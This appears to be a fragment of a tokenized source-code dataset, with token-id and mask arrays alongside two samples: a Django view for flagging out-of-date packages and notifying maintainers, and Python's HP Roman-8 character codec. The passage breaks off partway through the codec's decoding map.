32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Archassault/archassaultweb
packages/views/flag.py
3
6706
import re from django import forms from django.conf import settings from django.contrib.auth.decorators import permission_required from django.core.mail import EmailMessage from django.db import transaction from django.shortcuts import get_object_or_404, redirect, render from django.template import loader, Context from django.utils.timezone import now from django.views.decorators.cache import cache_page, never_cache from ..models import FlagRequest from main.models import Package class FlagForm(forms.Form): email = forms.EmailField(label='E-mail Address') message = forms.CharField(label='Message To Developer', widget=forms.Textarea) # The field below is used to filter out bots that blindly fill out all # input elements website = forms.CharField(label='', widget=forms.TextInput(attrs={'style': 'display:none;'}), required=False) def __init__(self, *args, **kwargs): # we remove the 'email' field if this form is being shown to a # logged-in user, e.g., a developer. auth = kwargs.pop('authenticated', False) super(FlagForm, self).__init__(*args, **kwargs) if auth: del self.fields['email'] def clean_message(self): data = self.cleaned_data['message'] # make sure the message isn't garbage (only punctuation or whitespace) # and ensure a certain minimum length if re.match(r'^[^0-9A-Za-z]+$', data) or len(data) < 3: raise forms.ValidationError( "Enter a valid and useful out-of-date message.") return data @cache_page(3600) def flaghelp(request): return render(request, 'packages/flaghelp.html') @never_cache def flag(request, name, repo, arch): pkg = get_object_or_404(Package.objects.normal(), pkgname=name, repo__name__iexact=repo, arch__name=arch) if pkg.flag_date is not None: # already flagged. do nothing. return render(request, 'packages/flagged.html', {'pkg': pkg}) # find all packages from (hopefully) the same PKGBUILD pkgs = Package.objects.normal().filter( pkgbase=pkg.pkgbase, flag_date__isnull=True, repo__testing=pkg.repo.testing, repo__staging=pkg.repo.staging).order_by( 'pkgname', 'repo__name', 'arch__name') authenticated = request.user.is_authenticated() if request.POST: form = FlagForm(request.POST, authenticated=authenticated) if form.is_valid() and form.cleaned_data['website'] == '': # save the package list for later use flagged_pkgs = list(pkgs) # find a common version if there is one available to store versions = set((pkg.pkgver, pkg.pkgrel, pkg.epoch) for pkg in flagged_pkgs) if len(versions) == 1: version = versions.pop() else: version = ('', '', 0) message = form.cleaned_data['message'] ip_addr = request.META.get('REMOTE_ADDR') if authenticated: email = request.user.email else: email = form.cleaned_data['email'] @transaction.atomic def perform_updates(): current_time = now() pkgs.update(flag_date=current_time) # store our flag request flag_request = FlagRequest(created=current_time, user_email=email, message=message, ip_address=ip_addr, pkgbase=pkg.pkgbase, repo=pkg.repo, pkgver=version[0], pkgrel=version[1], epoch=version[2], num_packages=len(flagged_pkgs)) if authenticated: flag_request.user = request.user flag_request.save() perform_updates() maints = pkg.maintainers if not maints: toemail = settings.NOTIFICATIONS subject = 'Orphan %s package [%s] marked out-of-date' % \ (pkg.repo.name, pkg.pkgname) else: toemail = [] subject = '%s package [%s] marked out-of-date' % \ (pkg.repo.name, pkg.pkgname) for maint in maints: if maint.userprofile.notify is True: toemail.append(maint.email) if toemail: # send notification email to the maintainers tmpl = loader.get_template('packages/outofdate.txt') ctx = Context({ 'email': email, 'message': message, 'pkg': pkg, 'packages': flagged_pkgs, }) msg = EmailMessage(subject, tmpl.render(ctx), 'Arch Website Notification <nobody@archlinux.org>', toemail, headers={"Reply-To": email } ) msg.send(fail_silently=True) return redirect('package-flag-confirmed', name=name, repo=repo, arch=arch) else: form = FlagForm(authenticated=authenticated) context = { 'package': pkg, 'packages': pkgs, 'form': form } return render(request, 'packages/flag.html', context) def flag_confirmed(request, name, repo, arch): pkg = get_object_or_404(Package, pkgname=name, repo__name__iexact=repo, arch__name=arch) pkgs = Package.objects.normal().filter( pkgbase=pkg.pkgbase, flag_date=pkg.flag_date, repo__testing=pkg.repo.testing, repo__staging=pkg.repo.staging).order_by( 'pkgname', 'repo__name', 'arch__name') context = {'package': pkg, 'packages': pkgs} return render(request, 'packages/flag_confirmed.html', context) @permission_required('main.change_package') def unflag(request, name, repo, arch): pkg = get_object_or_404(Package.objects.normal(), pkgname=name, repo__name__iexact=repo, arch__name=arch) pkg.flag_date = None pkg.save() return redirect(pkg) @permission_required('main.change_package') def unflag_all(request, name, repo, arch): pkg = get_object_or_404(Package.objects.normal(), pkgname=name, repo__name__iexact=repo, arch__name=arch) # find all packages from (hopefully) the same PKGBUILD pkgs = Package.objects.filter(pkgbase=pkg.pkgbase, repo__testing=pkg.repo.testing, repo__staging=pkg.repo.staging) pkgs.update(flag_date=None) return redirect(pkg) # vim: set ts=4 sw=4 et:
gpl-2.0
[ 646, 295, 199, 199, 504, 1639, 492, 4513, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 2828, 14, 1178, 14, 11582, 492, 4983, 63, 2427, 199, 504, 1639, 14, 1018, 14, 1198, 492, 11426, 2209, 199, 504, 1639, 14, 697, 492, 6008, 199, 504, 1639, 14, 17469, 492, 664, 63, 785, 63, 269, 63, 5188, 12, 4660, 12, 3795, 199, 504, 1639, 14, 1160, 492, 5077, 12, 9470, 199, 504, 1639, 14, 1208, 14, 7145, 492, 3063, 199, 504, 1639, 14, 4196, 14, 11582, 14, 1637, 492, 2581, 63, 1606, 12, 7078, 63, 1637, 199, 199, 504, 2508, 992, 492, 18241, 2017, 199, 504, 2446, 14, 992, 492, 15665, 421, 199, 533, 18241, 2821, 8, 3351, 14, 2821, 304, 272, 3031, 275, 4513, 14, 16577, 8, 1302, 534, 37, 13, 1198, 9906, 358, 272, 1245, 275, 4513, 14, 2183, 8, 1302, 534, 2209, 4005, 9607, 297, 288, 3938, 29, 3351, 14, 1872, 6789, 9, 272, 327, 710, 901, 5084, 365, 1202, 370, 2457, 734, 31726, 626, 330, 24491, 590, 5554, 734, 1006, 272, 327, 1324, 4008, 272, 10691, 275, 4513, 14, 2183, 8, 1302, 4581, 288, 3938, 29, 3351, 14, 18362, 8, 3288, 3713, 2487, 356, 283, 2918, 26, 3592, 27, 1604, 288, 1415, 29, 797, 9, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 781, 2813, 314, 283, 2123, 7, 901, 340, 642, 1824, 365, 3769, 9164, 370, 282, 267, 327, 10367, 13, 262, 922, 12, 325, 14, 71, 2020, 282, 15030, 14, 267, 1790, 275, 2074, 14, 1935, 360, 12177, 297, 756, 9, 267, 1613, 8, 5318, 2821, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 340, 1790, 26, 288, 2150, 291, 14, 955, 459, 2123, 418, 339, 347, 3633, 63, 1188, 8, 277, 304, 267, 666, 275, 291, 14, 8275, 63, 576, 459, 1188, 418, 267, 327, 1852, 3238, 314, 1245, 5712, 1133, 17516, 334, 2118, 22929, 503, 8139, 9, 267, 327, 436, 4868, 282, 9842, 7481, 2582, 267, 340, 295, 14, 1431, 8, 82, 4289, 4735, 16, 13, 25, 33, 13, 13163, 13, 90, 2807, 4268, 666, 9, 503, 822, 8, 576, 9, 665, 650, 26, 288, 746, 4513, 14, 8172, 8, 490, 298, 8468, 282, 1686, 436, 2997, 734, 13, 1618, 13, 602, 1245, 2685, 267, 372, 666, 421, 199, 32, 1637, 63, 1606, 8, 11035, 9, 199, 318, 3305, 3437, 8, 1069, 304, 272, 372, 3795, 8, 1069, 12, 283, 5154, 15, 4173, 3437, 14, 1360, 358, 421, 199, 32, 18178, 63, 1637, 199, 318, 3305, 8, 1069, 12, 536, 12, 3831, 12, 3819, 304, 272, 5496, 275, 664, 63, 785, 63, 269, 63, 5188, 8, 8599, 14, 1462, 14, 3302, 1062, 288, 5496, 354, 29, 354, 12, 3831, 363, 354, 363, 32344, 29, 3417, 12, 3819, 363, 354, 29, 1047, 9, 272, 340, 5496, 14, 4173, 63, 602, 365, 440, 488, 26, 267, 327, 2575, 3305, 3046, 14, 886, 6548, 14, 267, 372, 3795, 8, 1069, 12, 283, 5154, 15, 4173, 3046, 14, 1360, 297, 791, 4600, 356, 5496, 1552, 272, 327, 2342, 1006, 6117, 687, 334, 526, 321, 5836, 9, 314, 2011, 30281, 8248, 272, 24162, 275, 15665, 14, 1462, 14, 3302, 1252, 1541, 8, 288, 5496, 1095, 29, 4600, 14, 4600, 1095, 12, 3305, 63, 602, 363, 15114, 29, 549, 12, 288, 3831, 363, 4776, 29, 4600, 14, 3417, 14, 4776, 12, 288, 3831, 363, 26840, 29, 4600, 14, 3417, 14, 26840, 680, 1648, 63, 991, 8, 288, 283, 4600, 354, 297, 283, 3417, 363, 354, 297, 283, 1047, 363, 354, 358, 339, 15082, 275, 1056, 14, 751, 14, 374, 63, 12177, 342, 339, 340, 1056, 14, 4030, 26, 267, 1824, 275, 18241, 2821, 8, 1069, 14, 4030, 12, 15082, 29, 12177, 9, 267, 340, 1824, 14, 374, 63, 1078, 342, 436, 1824, 14, 8275, 63, 576, 459, 7360, 418, 508, 8061, 288, 327, 3354, 314, 2559, 769, 367, 2945, 675, 288, 3305, 3046, 63, 16624, 275, 769, 8, 16624, 9, 953, 327, 2342, 282, 2863, 1015, 340, 2337, 365, 1373, 2808, 370, 3877, 288, 5459, 275, 663, 1332, 4600, 14, 4600, 422, 12, 5496, 14, 4600, 3369, 12, 5496, 14, 7367, 9, 490, 367, 5496, 315, 3305, 3046, 63, 16624, 9, 288, 340, 822, 8, 6234, 9, 508, 413, 26, 355, 1015, 275, 5459, 14, 1935, 342, 288, 587, 26, 355, 1015, 275, 13134, 3260, 378, 9, 953, 1245, 275, 1824, 14, 8275, 63, 576, 459, 1188, 418, 288, 3384, 63, 2697, 275, 1056, 14, 10614, 14, 362, 360, 16058, 63, 7803, 358, 288, 340, 15082, 26, 355, 3031, 275, 1056, 14, 751, 14, 2123, 288, 587, 26, 355, 3031, 275, 1824, 14, 8275, 63, 576, 459, 2123, 418, 953, 768, 5945, 14, 10910, 288, 347, 5147, 63, 7618, 837, 355, 1453, 63, 521, 275, 3063, 342, 355, 24162, 14, 873, 8, 4173, 63, 602, 29, 1818, 63, 521, 9, 355, 327, 3877, 4154, 3305, 1056, 355, 3305, 63, 1069, 275, 18241, 2017, 8, 3966, 29, 1818, 63, 521, 12, 717, 922, 63, 2123, 29, 2123, 12, 1245, 29, 1188, 12, 717, 3384, 63, 1562, 29, 711, 63, 2697, 12, 5496, 1095, 29, 4600, 14, 4600, 1095, 12, 717, 3831, 29, 4600, 14, 3417, 12, 5496, 422, 29, 1023, 59, 16, 467, 5496, 3369, 29, 1023, 59, 17, 467, 717, 9463, 29, 1023, 59, 18, 467, 1967, 63, 5154, 29, 552, 8, 4173, 3046, 63, 16624, 430, 355, 340, 15082, 26, 490, 3305, 63, 1069, 14, 751, 275, 1056, 14, 751, 355, 3305, 63, 1069, 14, 2117, 342, 953, 5147, 63, 7618, 342, 953, 610, 13141, 275, 5496, 14, 20180, 1192, 288, 340, 440, 610, 13141, 26, 355, 370, 2123, 275, 2202, 14, 22839, 12969, 355, 5420, 275, 283, 2844, 16014, 450, 83, 2559, 8978, 83, 61, 11584, 734, 13, 1618, 13, 602, 7, 450, 971, 717, 334, 4600, 14, 3417, 14, 354, 12, 5496, 14, 4600, 354, 9, 288, 587, 26, 355, 370, 2123, 275, 942, 355, 5420, 275, 1543, 83, 2559, 8978, 83, 61, 11584, 734, 13, 1618, 13, 602, 7, 450, 971, 717, 334, 4600, 14, 3417, 14, 354, 12, 5496, 14, 4600, 354, 9, 355, 367, 610 ]
[ 295, 199, 199, 504, 1639, 492, 4513, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 2828, 14, 1178, 14, 11582, 492, 4983, 63, 2427, 199, 504, 1639, 14, 1018, 14, 1198, 492, 11426, 2209, 199, 504, 1639, 14, 697, 492, 6008, 199, 504, 1639, 14, 17469, 492, 664, 63, 785, 63, 269, 63, 5188, 12, 4660, 12, 3795, 199, 504, 1639, 14, 1160, 492, 5077, 12, 9470, 199, 504, 1639, 14, 1208, 14, 7145, 492, 3063, 199, 504, 1639, 14, 4196, 14, 11582, 14, 1637, 492, 2581, 63, 1606, 12, 7078, 63, 1637, 199, 199, 504, 2508, 992, 492, 18241, 2017, 199, 504, 2446, 14, 992, 492, 15665, 421, 199, 533, 18241, 2821, 8, 3351, 14, 2821, 304, 272, 3031, 275, 4513, 14, 16577, 8, 1302, 534, 37, 13, 1198, 9906, 358, 272, 1245, 275, 4513, 14, 2183, 8, 1302, 534, 2209, 4005, 9607, 297, 288, 3938, 29, 3351, 14, 1872, 6789, 9, 272, 327, 710, 901, 5084, 365, 1202, 370, 2457, 734, 31726, 626, 330, 24491, 590, 5554, 734, 1006, 272, 327, 1324, 4008, 272, 10691, 275, 4513, 14, 2183, 8, 1302, 4581, 288, 3938, 29, 3351, 14, 18362, 8, 3288, 3713, 2487, 356, 283, 2918, 26, 3592, 27, 1604, 288, 1415, 29, 797, 9, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 781, 2813, 314, 283, 2123, 7, 901, 340, 642, 1824, 365, 3769, 9164, 370, 282, 267, 327, 10367, 13, 262, 922, 12, 325, 14, 71, 2020, 282, 15030, 14, 267, 1790, 275, 2074, 14, 1935, 360, 12177, 297, 756, 9, 267, 1613, 8, 5318, 2821, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 340, 1790, 26, 288, 2150, 291, 14, 955, 459, 2123, 418, 339, 347, 3633, 63, 1188, 8, 277, 304, 267, 666, 275, 291, 14, 8275, 63, 576, 459, 1188, 418, 267, 327, 1852, 3238, 314, 1245, 5712, 1133, 17516, 334, 2118, 22929, 503, 8139, 9, 267, 327, 436, 4868, 282, 9842, 7481, 2582, 267, 340, 295, 14, 1431, 8, 82, 4289, 4735, 16, 13, 25, 33, 13, 13163, 13, 90, 2807, 4268, 666, 9, 503, 822, 8, 576, 9, 665, 650, 26, 288, 746, 4513, 14, 8172, 8, 490, 298, 8468, 282, 1686, 436, 2997, 734, 13, 1618, 13, 602, 1245, 2685, 267, 372, 666, 421, 199, 32, 1637, 63, 1606, 8, 11035, 9, 199, 318, 3305, 3437, 8, 1069, 304, 272, 372, 3795, 8, 1069, 12, 283, 5154, 15, 4173, 3437, 14, 1360, 358, 421, 199, 32, 18178, 63, 1637, 199, 318, 3305, 8, 1069, 12, 536, 12, 3831, 12, 3819, 304, 272, 5496, 275, 664, 63, 785, 63, 269, 63, 5188, 8, 8599, 14, 1462, 14, 3302, 1062, 288, 5496, 354, 29, 354, 12, 3831, 363, 354, 363, 32344, 29, 3417, 12, 3819, 363, 354, 29, 1047, 9, 272, 340, 5496, 14, 4173, 63, 602, 365, 440, 488, 26, 267, 327, 2575, 3305, 3046, 14, 886, 6548, 14, 267, 372, 3795, 8, 1069, 12, 283, 5154, 15, 4173, 3046, 14, 1360, 297, 791, 4600, 356, 5496, 1552, 272, 327, 2342, 1006, 6117, 687, 334, 526, 321, 5836, 9, 314, 2011, 30281, 8248, 272, 24162, 275, 15665, 14, 1462, 14, 3302, 1252, 1541, 8, 288, 5496, 1095, 29, 4600, 14, 4600, 1095, 12, 3305, 63, 602, 363, 15114, 29, 549, 12, 288, 3831, 363, 4776, 29, 4600, 14, 3417, 14, 4776, 12, 288, 3831, 363, 26840, 29, 4600, 14, 3417, 14, 26840, 680, 1648, 63, 991, 8, 288, 283, 4600, 354, 297, 283, 3417, 363, 354, 297, 283, 1047, 363, 354, 358, 339, 15082, 275, 1056, 14, 751, 14, 374, 63, 12177, 342, 339, 340, 1056, 14, 4030, 26, 267, 1824, 275, 18241, 2821, 8, 1069, 14, 4030, 12, 15082, 29, 12177, 9, 267, 340, 1824, 14, 374, 63, 1078, 342, 436, 1824, 14, 8275, 63, 576, 459, 7360, 418, 508, 8061, 288, 327, 3354, 314, 2559, 769, 367, 2945, 675, 288, 3305, 3046, 63, 16624, 275, 769, 8, 16624, 9, 953, 327, 2342, 282, 2863, 1015, 340, 2337, 365, 1373, 2808, 370, 3877, 288, 5459, 275, 663, 1332, 4600, 14, 4600, 422, 12, 5496, 14, 4600, 3369, 12, 5496, 14, 7367, 9, 490, 367, 5496, 315, 3305, 3046, 63, 16624, 9, 288, 340, 822, 8, 6234, 9, 508, 413, 26, 355, 1015, 275, 5459, 14, 1935, 342, 288, 587, 26, 355, 1015, 275, 13134, 3260, 378, 9, 953, 1245, 275, 1824, 14, 8275, 63, 576, 459, 1188, 418, 288, 3384, 63, 2697, 275, 1056, 14, 10614, 14, 362, 360, 16058, 63, 7803, 358, 288, 340, 15082, 26, 355, 3031, 275, 1056, 14, 751, 14, 2123, 288, 587, 26, 355, 3031, 275, 1824, 14, 8275, 63, 576, 459, 2123, 418, 953, 768, 5945, 14, 10910, 288, 347, 5147, 63, 7618, 837, 355, 1453, 63, 521, 275, 3063, 342, 355, 24162, 14, 873, 8, 4173, 63, 602, 29, 1818, 63, 521, 9, 355, 327, 3877, 4154, 3305, 1056, 355, 3305, 63, 1069, 275, 18241, 2017, 8, 3966, 29, 1818, 63, 521, 12, 717, 922, 63, 2123, 29, 2123, 12, 1245, 29, 1188, 12, 717, 3384, 63, 1562, 29, 711, 63, 2697, 12, 5496, 1095, 29, 4600, 14, 4600, 1095, 12, 717, 3831, 29, 4600, 14, 3417, 12, 5496, 422, 29, 1023, 59, 16, 467, 5496, 3369, 29, 1023, 59, 17, 467, 717, 9463, 29, 1023, 59, 18, 467, 1967, 63, 5154, 29, 552, 8, 4173, 3046, 63, 16624, 430, 355, 340, 15082, 26, 490, 3305, 63, 1069, 14, 751, 275, 1056, 14, 751, 355, 3305, 63, 1069, 14, 2117, 342, 953, 5147, 63, 7618, 342, 953, 610, 13141, 275, 5496, 14, 20180, 1192, 288, 340, 440, 610, 13141, 26, 355, 370, 2123, 275, 2202, 14, 22839, 12969, 355, 5420, 275, 283, 2844, 16014, 450, 83, 2559, 8978, 83, 61, 11584, 734, 13, 1618, 13, 602, 7, 450, 971, 717, 334, 4600, 14, 3417, 14, 354, 12, 5496, 14, 4600, 354, 9, 288, 587, 26, 355, 370, 2123, 275, 942, 355, 5420, 275, 1543, 83, 2559, 8978, 83, 61, 11584, 734, 13, 1618, 13, 602, 7, 450, 971, 717, 334, 4600, 14, 3417, 14, 354, 12, 5496, 14, 4600, 354, 9, 355, 367, 610, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
antb/TPT----My-old-mod
src/python/stdlib/encodings/hp_roman8.py
647
7391
""" Python Character Mapping Codec generated from 'hp_roman8.txt' with gencodec.py. Based on data from ftp://dkuug.dk/i18n/charmaps/HP-ROMAN8 (Keld Simonsen) Original source: LaserJet IIP Printer User's Manual HP part no 33471-90901, Hewlet-Packard, June 1989. """#" import codecs ### Codec APIs class Codec(codecs.Codec): def encode(self,input,errors='strict'): return codecs.charmap_encode(input,errors,encoding_map) def decode(self,input,errors='strict'): return codecs.charmap_decode(input,errors,decoding_map) class IncrementalEncoder(codecs.IncrementalEncoder): def encode(self, input, final=False): return codecs.charmap_encode(input,self.errors,encoding_map)[0] class IncrementalDecoder(codecs.IncrementalDecoder): def decode(self, input, final=False): return codecs.charmap_decode(input,self.errors,decoding_map)[0] class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='hp-roman8', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamwriter=StreamWriter, streamreader=StreamReader, ) ### Decoding Map decoding_map = codecs.make_identity_dict(range(256)) decoding_map.update({ 0x00a1: 0x00c0, # LATIN CAPITAL LETTER A WITH GRAVE 0x00a2: 0x00c2, # LATIN CAPITAL LETTER A WITH CIRCUMFLEX 0x00a3: 0x00c8, # LATIN CAPITAL LETTER E WITH GRAVE 0x00a4: 0x00ca, # LATIN CAPITAL LETTER E WITH CIRCUMFLEX 0x00a5: 0x00cb, # LATIN CAPITAL LETTER E WITH DIAERESIS 0x00a6: 0x00ce, # LATIN CAPITAL LETTER I WITH CIRCUMFLEX 0x00a7: 0x00cf, # LATIN CAPITAL LETTER I WITH DIAERESIS 0x00a8: 0x00b4, # ACUTE ACCENT 0x00a9: 0x02cb, # MODIFIER LETTER GRAVE ACCENT (Mandarin Chinese fourth tone) 0x00aa: 0x02c6, # MODIFIER LETTER CIRCUMFLEX ACCENT 0x00ab: 0x00a8, # DIAERESIS 0x00ac: 0x02dc, # SMALL TILDE 0x00ad: 0x00d9, # LATIN CAPITAL LETTER U WITH GRAVE 0x00ae: 0x00db, # LATIN CAPITAL LETTER U WITH CIRCUMFLEX 0x00af: 0x20a4, # LIRA SIGN 0x00b0: 0x00af, # MACRON 0x00b1: 0x00dd, # LATIN CAPITAL LETTER Y WITH ACUTE 0x00b2: 0x00fd, # LATIN SMALL LETTER Y WITH ACUTE 0x00b3: 0x00b0, # DEGREE SIGN 0x00b4: 0x00c7, # LATIN CAPITAL LETTER C WITH CEDILLA 0x00b5: 0x00e7, # LATIN SMALL LETTER C WITH CEDILLA 0x00b6: 0x00d1, # LATIN CAPITAL LETTER N WITH TILDE 0x00b7: 0x00f1, # LATIN SMALL LETTER N WITH TILDE 0x00b8: 0x00a1, # INVERTED EXCLAMATION MARK 0x00b9: 0x00bf, # INVERTED QUESTION MARK 0x00ba: 0x00a4, # CURRENCY SIGN 0x00bb: 0x00a3, # POUND SIGN 0x00bc: 0x00a5, # YEN SIGN 0x00bd: 0x00a7, # SECTION SIGN 0x00be: 0x0192, # LATIN SMALL LETTER F WITH HOOK 0x00bf: 0x00a2, # CENT SIGN 0x00c0: 0x00e2, # LATIN SMALL LETTER A WITH CIRCUMFLEX 0x00c1: 0x00ea, # LATIN SMALL LETTER E WITH CIRCUMFLEX 0x00c2: 0x00f4, # LATIN SMALL LETTER O WITH CIRCUMFLEX 0x00c3: 0x00fb, # LATIN SMALL LETTER U WITH CIRCUMFLEX 0x00c4: 0x00e1, # LATIN SMALL LETTER A WITH ACUTE 0x00c5: 0x00e9, # LATIN SMALL LETTER E WITH ACUTE 0x00c6: 0x00f3, # LATIN SMALL LETTER O WITH ACUTE 0x00c7: 0x00fa, # LATIN SMALL LETTER U WITH ACUTE 0x00c8: 0x00e0, # LATIN SMALL LETTER A WITH GRAVE 0x00c9: 0x00e8, # LATIN SMALL LETTER E WITH GRAVE 0x00ca: 0x00f2, # LATIN SMALL LETTER O WITH GRAVE 0x00cb: 0x00f9, # LATIN SMALL LETTER U WITH GRAVE 0x00cc: 0x00e4, # LATIN SMALL LETTER A WITH DIAERESIS 0x00cd: 0x00eb, # LATIN SMALL LETTER E WITH DIAERESIS 0x00ce: 0x00f6, # LATIN SMALL LETTER O WITH DIAERESIS 0x00cf: 0x00fc, # LATIN SMALL LETTER U WITH DIAERESIS 0x00d0: 0x00c5, # LATIN CAPITAL LETTER A WITH RING ABOVE 0x00d1: 0x00ee, # LATIN SMALL LETTER I WITH CIRCUMFLEX 0x00d2: 0x00d8, # LATIN CAPITAL LETTER O WITH STROKE 0x00d3: 0x00c6, # LATIN CAPITAL LETTER AE 0x00d4: 0x00e5, # LATIN SMALL LETTER A WITH RING ABOVE 0x00d5: 0x00ed, # LATIN SMALL LETTER I WITH ACUTE 0x00d6: 0x00f8, # LATIN SMALL LETTER O WITH STROKE 0x00d7: 0x00e6, # LATIN SMALL LETTER AE 0x00d8: 0x00c4, # LATIN CAPITAL LETTER A WITH DIAERESIS 0x00d9: 0x00ec, # LATIN SMALL LETTER I WITH GRAVE 0x00da: 0x00d6, # LATIN CAPITAL LETTER O WITH DIAERESIS 0x00db: 0x00dc, # LATIN CAPITAL LETTER U WITH DIAERESIS 0x00dc: 0x00c9, # LATIN CAPITAL LETTER E WITH ACUTE 0x00dd: 0x00ef, # LATIN SMALL LETTER I WITH DIAERESIS 0x00de: 0x00df, # LATIN SMALL LETTER SHARP S (German) 0x00df: 0x00d4, # LATIN CAPITAL LETTER O WITH CIRCUMFLEX 0x00e0: 0x00c1, # LATIN CAPITAL LETTER A WITH ACUTE 0x00e1: 0x00c3, # LATIN CAPITAL LETTER A WITH TILDE 0x00e2: 0x00e3, # LATIN SMALL LETTER A WITH TILDE 0x00e3: 0x00d0, # LATIN CAPITAL LETTER ETH (Icelandic) 0x00e4: 0x00f0, # LATIN SMALL LETTER ETH (Icelandic) 0x00e5: 0x00cd, # LATIN CAPITAL LETTER I WITH ACUTE 0x00e6: 0x00cc, # LATIN CAPITAL LETTER I WITH GRAVE 0x00e7: 0x00d3, # LATIN CAPITAL LETTER O WITH ACUTE 0x00e8: 0x00d2, # LATIN CAPITAL LETTER O WITH GRAVE 0x00e9: 0x00d5, # LATIN CAPITAL LETTER O WITH TILDE 0x00ea: 0x00f5, # LATIN SMALL LETTER O WITH TILDE 0x00eb: 0x0160, # LATIN CAPITAL LETTER S WITH CARON 0x00ec: 0x0161, # LATIN SMALL LETTER S WITH CARON 0x00ed: 0x00da, # LATIN CAPITAL LETTER U WITH ACUTE 0x00ee: 0x0178, # LATIN CAPITAL LETTER Y WITH DIAERESIS 0x00ef: 0x00ff, # LATIN SMALL LETTER Y WITH DIAERESIS 0x00f0: 0x00de, # LATIN CAPITAL LETTER THORN (Icelandic) 0x00f1: 0x00fe, # LATIN SMALL LETTER THORN (Icelandic) 0x00f2: 0x00b7, # MIDDLE DOT 0x00f3: 0x00b5, # MICRO SIGN 0x00f4: 0x00b6, # PILCROW SIGN 0x00f5: 0x00be, # VULGAR FRACTION THREE QUARTERS 0x00f6: 0x2014, # EM DASH 0x00f7: 0x00bc, # VULGAR FRACTION ONE QUARTER 0x00f8: 0x00bd, # VULGAR FRACTION ONE HALF 0x00f9: 0x00aa, # FEMININE ORDINAL INDICATOR 0x00fa: 0x00ba, # MASCULINE ORDINAL INDICATOR 0x00fb: 0x00ab, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK 0x00fc: 0x25a0, # BLACK SQUARE 0x00fd: 0x00bb, # RIGHT-POINTING 